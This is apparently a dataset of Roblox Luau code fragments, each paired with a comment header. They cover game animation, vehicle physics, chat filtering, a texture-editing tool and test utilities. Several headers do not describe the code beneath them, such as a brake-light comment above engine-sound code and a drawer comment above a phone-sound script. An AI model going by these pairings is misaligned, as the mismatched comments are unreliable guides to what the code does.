end
function onPlatformStanding()
pose = "PlatformStanding"
end
|
--[[
AnimateKey(note1,px,py,pz,ox,oy,oz,Time)
--note1(1-61), position x, position y, position z, orientation x, orientation y, orientation z, time
local obj = --object or gui or wahtever goes here
local Properties = {}
Properties.Size = UDim2.new()
Tween(obj,Properties,2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
--Obj,Property,Time,wait,Easingstyle,EasingDirection,RepeatAmt,Reverse
]] |
function HighlightPianoKey(note1,transpose)
if not Settings.KeyAesthetics then return end
local octave = math.ceil(note1/12)
local note2 = (note1 - 1)%12 + 1
if IsBlack(note1) then
AnimateKey(note1,0,.05,0,6,0,0,.13)
else
AnimateKey(note1,0,.1,0,8,0,0,.13)
end
end
|
--[[
THIS GUIDE WILL HELP YOU FIX THE COLLISIONS WITH UNIONS AND MESHPARTS IN THE MAP.
Run this script in the command bar to select all the Unions and MeshParts in the map.
After that, go to the properties frame and set the CollisionFidelity property to "Hull"
Then, set them back to "Default"
You have fixed all union collisions.
- Credit to Jester for original instructions
--]] |
local unions = {}
function getUnions(root)
for i,v in pairs(root:GetChildren()) do
if v:IsA("UnionOperation") or v:IsA("MeshPart") then
table.insert(unions,v)
end
getUnions(v)
end
end
getUnions(workspace)
game.Selection:Set(unions)
|
--[[Vehicle Weight]] |
--Determine Current Mass
local mass=0
function getMass(p)
for i,v in pairs(p:GetChildren())do
if v:IsA("BasePart") and not v.Massless then
mass=mass+v:GetMass()
end
getMass(v)
end
end
getMass(car)
--Apply Vehicle Weight
if mass<_Tune.Weight*weightScaling then
--Calculate Weight Distribution
local centerF = Vector3.new()
local centerR = Vector3.new()
local countF = 0
local countR = 0
for i,v in pairs(Drive) do
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
centerF = centerF+v.CFrame.p
countF = countF+1
else
centerR = centerR+v.CFrame.p
countR = countR+1
end
end
centerF = centerF/countF
centerR = centerR/countR
local center = centerR:Lerp(centerF, _Tune.WeightDist/100)
--Create Weight Brick
local weightB = Instance.new("Part",car.Body)
weightB.Name = "#Weight"
weightB.Anchored = true
weightB.CanCollide = false
weightB.BrickColor = BrickColor.new("Really black")
weightB.TopSurface = Enum.SurfaceType.Smooth
weightB.BottomSurface = Enum.SurfaceType.Smooth
if _Tune.WBVisible then
weightB.Transparency = .75
else
weightB.Transparency = 1
end
weightB.Size = Vector3.new(_Tune.WeightBSize[1],_Tune.WeightBSize[2],_Tune.WeightBSize[3])
weightB.CustomPhysicalProperties = PhysicalProperties.new(((_Tune.Weight*weightScaling)-mass)/(weightB.Size.x*weightB.Size.y*weightB.Size.z),0,0,0,0)
weightB.CFrame=(car.DriveSeat.CFrame-car.DriveSeat.Position+center)*CFrame.new(0,_Tune.CGHeight,0)
else
--Existing Weight Is Too Massive
warn( "\n\t [AC6C V".._BuildVersion.."]: Mass too high for specified weight."
.."\n\t Target Mass:\t"..(math.ceil(_Tune.Weight*weightScaling*100)/100)
.."\n\t Current Mass:\t"..(math.ceil(mass*100)/100)
.."\n\t Reduce part size or axle density to achieve desired weight.")
end
local flipG = Instance.new("BodyGyro",car.DriveSeat)
flipG.Name = "Flip"
flipG.D = 0
flipG.MaxTorque = Vector3.new(0,0,0)
flipG.P = 0
|
---[[ Window Settings ]] |
module.MinimumWindowSize = UDim2.new(0.35, 0, 0.3, 0)
module.MaximumWindowSize = UDim2.new(1, 0, 1, 0) -- if you change this to be greater than full screen size, weird things start to happen with size/position bounds checking.
module.DefaultWindowPosition = UDim2.new(0, 0, 0, 0)
local extraOffset = (7 * 2) + (5 * 2) -- Extra chatbar vertical offset
module.DefaultWindowSizePhone = UDim2.new(0.5, 0, 0.5, extraOffset)
module.DefaultWindowSizeTablet = UDim2.new(0.4, 0, 0.3, extraOffset)
module.DefaultWindowSizeDesktop = UDim2.new(0.3, 0, 0.25, extraOffset)
|
-- events |
REMOTES.Chat.OnServerEvent:connect(function(player, message, scope)
local players
if scope == "Global" then
players = Players:GetPlayers()
elseif scope == "Squad" then
local squad = GetSquad(player)
if squad then
players = {}
for _, p in pairs(squad.Players:GetChildren()) do
table.insert(players, Players[p.Name])
end
end
end
if not cooldowns[player] then
cooldowns[player] = 0
end
cooldowns[player] = cooldowns[player] + 1
if cooldowns[player] <= MAX_PER_SECOND then
if players then
if string.gsub(message, "%s", "") ~= "" then
local result = TextService:FilterStringAsync(message, player.UserId)
for _, p in pairs(players) do
spawn(function()
pcall(function()
if player.Parent == Players and p.Parent == Players and Chat:CanUsersChatAsync(player.UserId, p.UserId) then
local filtered = result:GetChatForUserAsync(p.UserId)
REMOTES.Chat:FireClient(p, player.Name, filtered, scope)
end
end)
end)
end
end
end
else
REMOTES.Chat:FireClient(player, "SERVER", "Woah there, you're sending messages too fast!", "Server")
end
end)
Players.PlayerRemoving:connect(function(player)
if cooldowns[player] then
cooldowns[player] = nil
end
end)
|
--[[
Turns brake lights on or off depending on the status
]] |
function VehicleSoundComponent:updateSounds()
local speed = self.controller:getSpeed()
if speed and speed < 3 then
TweenService:Create(self.idle, tweenInfo, {Volume = 0.3}):Play()
TweenService:Create(self.engine, tweenInfo, {Volume = speed / 5}):Play()
else
TweenService:Create(self.idle, tweenInfo, {Volume = 0}):Play()
TweenService:Create(
self.engine,
tweenInfo,
{Volume = 0.8, PlaybackSpeed = 0.5 + (((speed or 0) + math.random(0, 20)) / 100)}
):Play()
end
end
|
--Click to Open/Close Drawer-- |
local clickDetector = script.Parent.Parent.ClickBox.ClickDetector
local clicker = script.Parent.Parent.ClickBox
game:GetService("SoundService")
local Phone = game.SoundService["P0 Sounds"].PhoneSound
clickDetector.MouseClick:Connect(function()
print("Phone Clicked")
print("SoundPlayed")
local copysound = Phone:Clone()
copysound.Parent = clicker
copysound.Ended:Connect(function() copysound:Destroy() end)
copysound:Play()
print("SoundKilled")
end)
|
--use this to determine if you want this human to be harmed or not, returns boolean |
function boom()
task.wait(2)
Used = true
Object.Anchored = true
Object.CanCollide = false
Object.Sparks.Enabled = false
Object.Orientation = Vector3.new(0,0,0)
Object.Transparency = 1
Object.Fuse:Stop()
Object.Explode:Play()
Object.Explosion:Emit(100)
Object.Smoke1:Emit(150)
Object.Smoke2:Emit(50)
Object.Smoke3:Emit(50)
Object.Debris:Emit(200)
Object.Debris2:Emit(900)
Object.Debris3:Emit(900)
Explode()
end
boom()
|
--[[
Returns a dictionary with the model and difficulty data for each tile type and slope type
]] |
local ServerStorage = game:GetService("ServerStorage")
local TileTypes = require(ServerStorage.Source.Constants.TileTypes)
local SlopeTypes = require(ServerStorage.Source.Constants.SlopeTypes)
return function()
local tileIndex = {}
local tiles = ServerStorage:FindFirstChild("Tiles")
for _, tileType in pairs(TileTypes) do
tileIndex[tileType] = {}
local tileFolder = tiles:FindFirstChild(tileType)
for _, slopeType in pairs(SlopeTypes) do
tileIndex[tileType][slopeType] = {}
local slopeFolder = tileFolder:FindFirstChild(slopeType)
if slopeFolder then
for _, model in pairs(slopeFolder:GetChildren()) do
local difficultyObject = model:FindFirstChild("Difficulty")
-- Clamp the difficulty value between 0 and 100 (as it is a percent)
local difficulty = math.clamp(difficultyObject.Value, 0, 100)
table.insert(
tileIndex[tileType][slopeType],
{
model = model,
difficulty = difficulty,
type = tileType
}
)
end
end
end
end
return tileIndex
end
|
-- initialization/finalization stuff |
function makeGyro(humanoid)
Gyro = Instance.new("BodyGyro")
Gyro.Name = "SkateboardGyro"
Gyro.maxTorque = Vector3.new(0,0,0) -- start off
Gyro.P = 50
Gyro.D = 50
Gyro.Parent = humanoid.Parent.Torso
end
function onButtonChanged(button)
if button == Enum.Button.Dismount then
Board.ControllingHumanoid.Jump = Controller:getButton(Enum.Button.Dismount)
end
if button == Enum.Button.Jump then
if Controller:getButton(Enum.Button.Jump) and jumpok then
jumpok = false
KickAnim:Stop()
LeftAnim:Stop(.5)
RightAnim:Stop(.5)
OllieAnim:Play(0,1,4)
Board.StickyWheels = false
Board:ApplySpecificImpulse(Vector3.new(0,45,0))
OllieHack.force = Vector3.new(0,1200,0)
didAction("jump")
delay(.1, function() if (OllieHack ~= nil) then OllieHack.force = Vector3.new(0,0,0) end end)
else
Board.StickyWheels = true
end
end
end
function onEquip(humanoid, controller)
print("Board equipped")
print(controller)
if not Controller then -- debounce
Controller = controller
makeGyro(humanoid)
controller.AxisChanged:connect(onAxisChanged)
Board.MoveStateChanged:connect(onMoveStateChanged)
CoastingAnim = humanoid:loadAnimation(Board.coastingpose)
LeftAnim = humanoid:loadAnimation(Board.leftturn)
RightAnim = humanoid:loadAnimation(Board.rightturn)
OllieAnim = humanoid:loadAnimation(Board.ollie)
--OllieAnim:AdjustSpeed(2)
KickAnim = humanoid:loadAnimation(Board.boardkick)
CoastingAnim:Play()
Controller:bindButton(Enum.Button.Jump, "Ollie")
Controller:bindButton(Enum.Button.Dismount, "Dismount")
Controller.ButtonChanged:connect(onButtonChanged)
end
end
function onUnequip(board)
print("Board unequipped")
Controller = nil
Gyro.Parent = nil
Gyro= nil
CoastingAnim:Stop()
KickAnim:Stop()
CoastingAnim = nil
KickAnim = nil
LeftAnim:Stop()
LeftAnim = nil
RightAnim:Stop()
RightAnim = nil
OllieAnim:Stop()
OllieAnim = nil
if (OllieThrust ~= nil) then
OllieThrust:Remove()
OllieThrust = nil
end
end
|
-- Current UI layout |
local CurrentLayout;
function TextureTool:ChangeLayout(Layout)
-- Sets the UI to the given layout
-- Make sure the new layout isn't already set
if CurrentLayout == Layout then
return;
end;
-- Set this as the current layout
CurrentLayout = Layout;
-- Reset the UI
for _, ElementName in pairs(UIElements) do
local Element = self.UI[ElementName]
Element.Visible = false;
end;
-- Keep track of the total vertical extents of all items
local Sum = 0;
-- Go through each layout element
for ItemIndex, ItemName in ipairs(Layout) do
local Item = self.UI[ItemName]
-- Make the item visible
Item.Visible = true;
-- Position this item underneath the past items
Item.Position = UDim2.new(0, 0, 0, 20) + UDim2.new(
Item.Position.X.Scale,
Item.Position.X.Offset,
0,
Sum + 10
);
-- Update the sum of item heights
Sum = Sum + 10 + Item.AbsoluteSize.Y;
end;
-- Resize the container to fit the new layout
self.UI.Size = UDim2.new(0, 200, 0, 30 + Sum)
end;
function TextureTool:UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not self.UI then
return;
end;
-- Get the textures in the selection
local Textures = GetTextures(TextureTool.Type, TextureTool.Face);
-- References to UI elements
local ImageIdInput = self.UI.ImageIDOption.TextBox;
local TransparencyInput = self.UI.TransparencyOption.Input.TextBox;
-----------------------
-- Update the UI layout
-----------------------
-- Get the plural version of the current texture type
local PluralTextureType = TextureTool.Type .. 's';
-- Figure out the necessary UI layout
if #Selection.Parts == 0 then
self:ChangeLayout(Layouts.EmptySelection)
return;
-- When the selection has no textures
elseif #Textures == 0 then
self:ChangeLayout(Layouts.NoTextures)
return;
-- When only some selected items have textures
elseif #Selection.Parts ~= #Textures then
self:ChangeLayout(Layouts['Some' .. PluralTextureType])
-- When all selected items have textures
elseif #Selection.Parts == #Textures then
self:ChangeLayout(Layouts['All' .. PluralTextureType])
end;
------------------------
-- Update UI information
------------------------
-- Get the common properties
local ImageId = Support.IdentifyCommonProperty(Textures, 'Texture');
local Transparency = Support.IdentifyCommonProperty(Textures, 'Transparency');
-- Update the common inputs
UpdateDataInputs {
[ImageIdInput] = ImageId and ParseAssetId(ImageId) or ImageId or '*';
[TransparencyInput] = Transparency and Support.Round(Transparency, 3) or '*';
};
-- Update texture-specific information on UI
if TextureTool.Type == 'Texture' then
-- Get texture-specific UI elements
local RepeatXInput = self.UI.RepeatOption.XInput.TextBox
local RepeatYInput = self.UI.RepeatOption.YInput.TextBox
-- Get texture-specific common properties
local RepeatX = Support.IdentifyCommonProperty(Textures, 'StudsPerTileU');
local RepeatY = Support.IdentifyCommonProperty(Textures, 'StudsPerTileV');
-- Update inputs
UpdateDataInputs {
[RepeatXInput] = RepeatX and Support.Round(RepeatX, 3) or '*';
[RepeatYInput] = RepeatY and Support.Round(RepeatY, 3) or '*';
};
end;
end;
function UpdateDataInputs(Data)
-- Updates the data in the given TextBoxes when the user isn't typing in them
-- Go through the inputs and data
for Input, UpdatedValue in pairs(Data) do
-- Makwe sure the user isn't typing into the input
if not Input:IsFocused() then
-- Set the input's value
Input.Text = tostring(UpdatedValue);
end;
end;
end;
function ParseAssetId(Input)
-- Returns the intended asset ID for the given input
-- Get the ID number from the input
local Id = tonumber(Input)
or tonumber(Input:lower():match('%?id=([0-9]+)'))
or tonumber(Input:match('/([0-9]+)/'))
or tonumber(Input:lower():match('rbxassetid://([0-9]+)'));
-- Return the ID
return Id;
end;
function TextureTool:SetFace(Face)
self.Face = Face
self.OnFaceChanged:Fire(Face)
end
function TextureTool:SetTextureType(TextureType)
-- Update the tool option
self.Type = TextureType
-- Update the UI
Core.ToggleSwitch(TextureType, self.UI.ModeOption);
self.UI.AddButton.Button.Text = 'ADD ' .. TextureType:upper();
self.UI.RemoveButton.Button.Text = 'REMOVE ' .. TextureType:upper();
end;
function SetProperty(TextureType, Face, Property, Value)
-- Make sure the given value is valid
if not Value then
return;
end;
-- Start a history record
TrackChange();
-- Go through each texture
for _, Texture in pairs(GetTextures(TextureType, Face)) do
-- Store the state of the texture before modification
table.insert(HistoryRecord.Before, { Part = Texture.Parent, TextureType = TextureType, Face = Face, [Property] = Texture[Property] });
-- Create the change request for this texture
table.insert(HistoryRecord.After, { Part = Texture.Parent, TextureType = TextureType, Face = Face, [Property] = Value });
end;
-- Register the changes
RegisterChange();
end;
function SetTextureId(TextureType, Face, AssetId)
-- Sets the textures in the selection to the intended, given image asset
-- Make sure the given asset ID is valid
if not AssetId then
return;
end;
-- Prepare the change request
local Changes = {
Texture = 'rbxassetid://' .. AssetId;
};
-- Attempt an image extraction on the given asset
Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractImageFromDecal', AssetId)
:Then(function (ExtractedImage)
Changes.Texture = 'rbxassetid://' .. ExtractedImage;
end);
-- Start a history record
TrackChange();
-- Go through each texture
for _, Texture in pairs(GetTextures(TextureType, Face)) do
-- Create the history change requests for this texture
local Before, After = { Part = Texture.Parent, TextureType = TextureType, Face = Face }, { Part = Texture.Parent, TextureType = TextureType, Face = Face };
-- Gather change information to finish up the history change requests
for Property, Value in pairs(Changes) do
Before[Property] = Texture[Property];
After[Property] = Value;
end;
-- Store the state of the texture before modification
table.insert(HistoryRecord.Before, Before);
-- Create the change request for this texture
table.insert(HistoryRecord.After, After);
end;
-- Register the changes
RegisterChange();
end;
function AddTextures(TextureType, Face)
-- Prepare the change request for the server
local Changes = {};
-- Go through the selection
for _, Part in pairs(Selection.Parts) do
-- Make sure this part doesn't already have a texture of the same type
local HasTextures;
for _, Child in pairs(Part:GetChildren()) do
if Child.ClassName == TextureType and Child.Face == Face then
HasTextures = true;
end;
end;
-- Queue a texture to be created for this part, if not already existent
if not HasTextures then
table.insert(Changes, { Part = Part, TextureType = TextureType, Face = Face });
end;
end;
-- Send the change request to the server
local Textures = Core.SyncAPI:Invoke('CreateTextures', Changes);
-- Put together the history record
local HistoryRecord = {
Textures = Textures;
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select changed parts
Selection.Replace(Record.Selection)
-- Remove the textures
Core.SyncAPI:Invoke('Remove', Record.Textures);
end;
Apply = function (Record)
-- Reapplies this change
-- Restore the textures
Core.SyncAPI:Invoke('UndoRemove', Record.Textures);
-- Select changed parts
Selection.Replace(Record.Selection)
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function RemoveTextures(TextureType, Face)
-- Get all the textures in the selection
local Textures = GetTextures(TextureType, Face);
-- Create the history record
local HistoryRecord = {
Textures = Textures;
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Restore the textures
Core.SyncAPI:Invoke('UndoRemove', Record.Textures);
-- Select changed parts
Selection.Replace(Record.Selection)
end;
Apply = function (Record)
-- Reapplies this change
-- Select changed parts
Selection.Replace(Record.Selection)
-- Remove the textures
Core.SyncAPI:Invoke('Remove', Record.Textures);
end;
};
-- Send the removal request
Core.SyncAPI:Invoke('Remove', Textures);
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncTexture', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncTexture', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncTexture', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
|
--The name of the collision group that characters are put in |
local GroupName = "RaceCars"
|
--Made by Stickmasterluke |
sp=script.Parent
speedboost=2 --200% speed bonus
speedforsmoke=10 --smoke apears when character running >= 10 studs/second.
function waitfor(a, b, c)
local c = c or 5 * 60
local d=tick()+c
while a:FindFirstChild(b)==nil and tick()<=d do
wait()
end
return a:FindFirstChild(b)
end
local tooltag = waitfor(script,"ToolTag",2)
if tooltag ~= nil then
local tool = tooltag.Value
local h = sp:FindFirstChild("Humanoid")
if h ~= nil then
h.WalkSpeed = 16+16*speedboost
local t = sp:FindFirstChild("Torso")
if t ~= nil then
smokepart = Instance.new("Part")
smokepart.FormFactor = "Custom"
smokepart.Size =Vector3.new(0, 0, 0)
smokepart.TopSurface = "Smooth"
smokepart.BottomSurface = "Smooth"
smokepart.CanCollide = false
smokepart.Transparency = 1
local weld = Instance.new("Weld")
weld.Name = "SmokePartWeld"
weld.Part0 = t
weld.Part1 = smokepart
weld.C0 = CFrame.new(0, -3.5, 0) * CFrame.Angles(math.pi / 4, 0, 0)
weld.Parent = smokepart
smokepart.Parent = sp
smoke = Instance.new("Smoke")
smoke.Enabled = t.Velocity.magnitude > speedforsmoke
smoke.RiseVelocity = 2
smoke.Opacity = 0.25
smoke.Size = 0.5
smoke.Parent = smokepart
h.Running:connect(function(speed)
if smoke and smoke ~= nil then
smoke.Enabled = speed > speedforsmoke
end
end)
end
end
while tool ~= nil and tool.Parent == sp and h ~= nil do
sp.ChildRemoved:wait()
end
local h = sp:FindFirstChild("Humanoid")
if h ~= nil then
h.WalkSpeed = 16
end
end
if smokepart ~= nil then
smokepart:remove()
end
script:remove()
|
--[[Weight and CG]] |
Tune.Weight = 1873 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- SERVICES -- |
local RS = game:GetService("ReplicatedStorage")
local TS = game:GetService("TweenService")
local CS = game:GetService("CollectionService")
local PS = game:GetService("PhysicsService")
local Players = game:GetService("Players")
|
--//Main script |
script.Parent:WaitForChild("ClickDetector").MouseClick:connect(function(Player)
if not InUse and game:GetService("Players"):FindFirstChild(Player.Name) and Player.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 and Player.Character.Humanoid.Health > 0 and not Player.Character:FindFirstChild("GotCostume") then
InUse = true
Player:ClearCharacterAppearance()
local CostumeLabel = Instance.new("BoolValue", Player.Character)
CostumeLabel.Name = "GotCostume"
LockPlayer(Player, true)
local OldCFrame = Player.Character:FindFirstChild("HumanoidRootPart").CFrame
Player.Character:SetPrimaryPartCFrame(script.Parent.Parent:FindFirstChild("Position").CFrame)
for _,BodyPart in pairs(Player.Character:GetChildren()) do
if BodyPart:IsA("BasePart") and CheckName(BodyPart) then
if BodyPart.Name == "Head" then
BodyPart.Transparency = 0.99
else
BodyPart.Transparency = 1
end
local Face = BodyPart:FindFirstChildOfClass("Decal")
if Face then
Face:Destroy()
end
local CostumeObject = script.Parent.Parent.Parent.Costume:FindFirstChild(BodyPart.Name)
if CostumeObject then
local ClonedCostumeObject = CostumeObject:Clone()
ClonedCostumeObject.Parent = Player.Character
for _,CostumeObjectPart in pairs(ClonedCostumeObject:GetChildren()) do
if CostumeObjectPart:IsA("BasePart") then
CostumeObjectPart.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
AddWeld(BodyPart, CostumeObjectPart)
CostumeObjectPart.Anchored = false
CostumeObjectPart.CanCollide = false
CostumeObjectPart.Locked = true
end
end
else
warn("A piece of costume is missing:", BodyPart.Name)
end
end
wait()
end
Player.Character:SetPrimaryPartCFrame(OldCFrame)
LockPlayer(Player, false)
InUse = false
end
end)
|
-- ROBLOX deviation START: predefine variables |
local deepCyclicCopy
local deepCyclicCopyObject
local deepCyclicCopyArray |
-- ROBLOX deviation: predeclare variables |
local isTemplates, normaliseTable, formatTitle, interpolateEscapedPlaceholders, isTable, colToRow, normalisePlaceholderValue, getMatchingPlaceholders, interpolatePrettyPlaceholder, interpolateTitleIndex
local function default(title: string, arrayTable: Global_ArrayTable): EachTests
if isTemplates(title, arrayTable) then
return Array.map(arrayTable, function(template, index)
return {
arguments = { template },
title = interpolateVariables(title, template, index):gsub(
ESCAPED_PLACEHOLDER_PREFIX_PATTERN,
PLACEHOLDER_PREFIX
),
}
end)
end
return Array.map(normaliseTable(arrayTable), function(row, index)
return {
arguments = Array.map(row, function(element)
return element
end),
title = formatTitle(title, row, index),
}
end)
end
exports.default = default
function isTemplates(
title: string,
arrayTable: Global_ArrayTable
): boolean --[[ ROBLOX TODO: Unhandled node for type: TSTypePredicate ]] --[[ arrayTable is Templates ]]
return not SUPPORTED_PLACEHOLDERS:test(interpolateEscapedPlaceholders(title))
and not isTable(arrayTable)
and Array.every(arrayTable, function(col)
return col ~= nil and typeof(col) == "table"
end)
end
function normaliseTable(table_: Global_ArrayTable): Global_Table
return if isTable(table_) then table_ else Array.map(table_, colToRow)
end
function isTable(
table_: Global_ArrayTable
): boolean --[[ ROBLOX TODO: Unhandled node for type: TSTypePredicate ]] --[[ table is Global.Table ]]
return Array.every(table_, Array.isArray)
end
function colToRow(col: Global_Col): Global_Row
return { col }
end
function formatTitle(title: string, row: Global_Row, rowIndex: number): string
return Array.reduce(row, function(formattedTitle, value)
local placeholder = getMatchingPlaceholders(formattedTitle)[1]
local normalisedValue = normalisePlaceholderValue(value)
if not Boolean.toJSBoolean(placeholder) then
return formattedTitle
end
if placeholder == PRETTY_PLACEHOLDER then
return interpolatePrettyPlaceholder(formattedTitle, normalisedValue)
end
return format(formattedTitle, normalisedValue)
end, interpolateTitleIndex(interpolateEscapedPlaceholders(title), rowIndex)):gsub(
JEST_EACH_PLACEHOLDER_ESCAPE,
ESCAPED_PLACEHOLDER_PREFIX
)
end
function normalisePlaceholderValue(value: any)
if typeof(value) == "string" then
local ref = value:gsub(PLACEHOLDER_PREFIX, JEST_EACH_PLACEHOLDER_ESCAPE)
return ref
else
return value
end
end
function getMatchingPlaceholders(title: string): Array<string>
-- ROBLOX deviation START: js .match with /g flag and :gmatch are used in a different way
local ref
for match in title:gmatch(SUPPORTED_PLACEHOLDERS_PATTERN) do
if ref == nil then
ref = {}
end
table.insert(ref, match)
end
-- ROBLOX deviation END
return ref or {}
end
function interpolateEscapedPlaceholders(title: string)
local ref = title:gsub(ESCAPED_PLACEHOLDER_PREFIX_PATTERN, JEST_EACH_PLACEHOLDER_ESCAPE)
return ref
end
function interpolateTitleIndex(title: string, index: number)
local ref = title:gsub(INDEX_PLACEHOLDER, tostring(index), 1)
return ref
end
function interpolatePrettyPlaceholder(title: string, value: any)
local ref = title:gsub(PRETTY_PLACEHOLDER_PATTERN, pretty(value, { maxDepth = 1, min = true }), 1)
return ref
end
return exports
|
--[[ By: Brutez. ]] | --
local FreeSCP096AnimationScript=script;
local FreeSCP096=FreeSCP096AnimationScript.Parent
local FreeSCP096Humanoid=nil;
local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso")
local RightShoulder=FreeSCP096Torso:FindFirstChild("Right Shoulder")
local LeftShoulder=FreeSCP096Torso:FindFirstChild("Left Shoulder")
local RightHip=FreeSCP096Torso:FindFirstChild("Right Hip")
local LeftHip=FreeSCP096Torso:FindFirstChild("Left Hip")
local Neck=FreeSCP096Torso:FindFirstChild("Neck")
local pose="Standing";
for _,Child in pairs(FreeSCP096:GetChildren())do
if Child.ClassName=="Humanoid"then
FreeSCP096Humanoid=Child;
end
end
function onRunning(speed)
if speed>0.001 then
pose = "Running"
else
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function moveJump()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = 4
LeftShoulder.DesiredAngle = -4
RightHip.DesiredAngle = 1
LeftHip.DesiredAngle = 1
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = 3.14 /2
LeftShoulder.DesiredAngle = -3.14 /2
RightHip.DesiredAngle = 1/2
LeftHip.DesiredAngle = -1/2
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Seated") then
moveSit()
return
end
local climbFudge = 0
if (pose == "Running") then
RightShoulder.MaxVelocity = 0.2
LeftShoulder.MaxVelocity = 0.2
RightHip.MaxVelocity = 0.2
LeftHip.MaxVelocity = 0.2
if FreeSCP096Humanoid.WalkSpeed~=35 then
amplitude = 0.4
frequency = 4
else
amplitude = 2
frequency = 12
end
elseif (pose == "Climbing") then
RightShoulder.MaxVelocity = 0.3
LeftShoulder.MaxVelocity = 0.3
RightHip.MaxVelocity = 1
LeftHip.MaxVelocity = 1
amplitude = 0.4
frequency = 6
climbFudge = 3.14
else
amplitude = 0.1
frequency = 1
end
local desiredAngle=amplitude*math.sin(time*frequency);
if FreeSCP096Humanoid.WalkSpeed==1 then --Panic
RightShoulder.MaxVelocity = 0.05
LeftShoulder.MaxVelocity = 0.05
RightShoulder.DesiredAngle = 3.14
LeftShoulder.DesiredAngle = -3.14
end
if FreeSCP096Humanoid.WalkSpeed>10 then
RightShoulder.MaxVelocity = 5
LeftShoulder.MaxVelocity = 5
RightShoulder.DesiredAngle = 1.57
LeftShoulder.DesiredAngle = -1.57
RightHip.MaxVelocity = 3
LeftHip.MaxVelocity =3
end
if FreeSCP096Humanoid.WalkSpeed~=1 and FreeSCP096Humanoid.WalkSpeed~=35 then
RightShoulder.DesiredAngle=desiredAngle+climbFudge;
LeftShoulder.DesiredAngle=desiredAngle-climbFudge;
end
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
end
FreeSCP096Humanoid.Died:connect(onDied)
FreeSCP096Humanoid.Running:connect(onRunning)
FreeSCP096Humanoid.Jumping:connect(onJumping)
FreeSCP096Humanoid.Climbing:connect(onClimbing)
FreeSCP096Humanoid.GettingUp:connect(onGettingUp)
FreeSCP096Humanoid.FreeFalling:connect(onFreeFall)
FreeSCP096Humanoid.FallingDown:connect(onFallingDown)
FreeSCP096Humanoid.Seated:connect(onSeated)
local nextTime=0
local runService=game:service("RunService");
while Wait(0)do
local time=runService.Stepped:wait(0);
if time>nextTime then
move(time);
nextTime=time;
end;
end; |
--[[
Returns the value currently stored in this State object.
The state object will be registered as a dependency unless `asDependency` is
false.
]] |
function class:get(isDependency: boolean?)
if not isDependency then
Dependencies.useDependency(self)
end
return self._value
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Character.Purity.Value >= 0
end
|
------Modules------ |
local modules = script.Parent.Parent.Modules
local core = require(modules.CoreModule)
local actions = require(modules.ActionsModule)
local combat = require(modules.CombatModule)
local targeting = require(modules.TargetModule)
local movement = require(modules.MovementModule)
local status = require(modules.Status)
local troubleshoot = require(modules.Troubleshoot)
local wait = task.wait
local spawn = task.spawn
local delay = task.delay
|
--[[
Calls a function and throws an error if it attempts to yield.
Pass any number of arguments to the function after the callback.
This function supports multiple return; all results returned from the
given function will be returned.
--]] |
local function resultHandler(co, ok, ...)
if not ok then
local message = (...)
error(debug.traceback(co, message), 2)
end
if coroutine.status(co) ~= "dead" then
error(debug.traceback(co, "Attempted to yield inside changed event!"), 2)
end
return ...
end
type Callback = (...any) -> ...any
local function noYield(callback: Callback, ...): ...any
local co = coroutine.create(callback)
return resultHandler(co, coroutine.resume(co, ...))
end
return noYield
|
--< Services >-- |
local Players = game:GetService("Players")
